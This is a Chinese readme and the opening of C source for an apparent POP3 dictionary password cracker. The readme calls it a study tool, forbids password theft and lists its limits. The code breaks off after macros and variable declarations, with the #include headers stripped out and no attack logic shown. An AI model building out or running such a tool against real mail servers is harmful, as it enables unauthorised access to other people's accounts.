说明:
1,本程序仅供学习参考使用。严禁使用本程序进行盗取他人密码的活动。
2,-i 选项不好使(只能使用server name,如:pop3.dudu.com)。
3,本程序仅对某些pop3服务器有效。
未加修改,高手多多指教。
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define BUFMAX 255
#define PORT_NO 110
#define SER_IP 1
#define USR_NAME 2
#define DIC_FNAME 4
#define GET_SER_IP(x)\
(((x)&(SER_IP))==(SER_IP) ?1 : 0 )
#define GET_USR_NAME(x)\
(((x)&(USR_NAME))==(USR_NAME) ?1 :0 )
#define GET_DIC_FNAME(x)\
(((x)&(DIC_FNAME))==(DIC_FNAME) ?1 :0 )
static char rmsg[BUFMAX],
smsg[BUFMAX];
static int sofd;
static struct sockaddr_in sv_addr;
static struct hostent *shost;
int flag;
char ser_name[64],
ser_ip[16],
user_name[32],
dic_fname[64],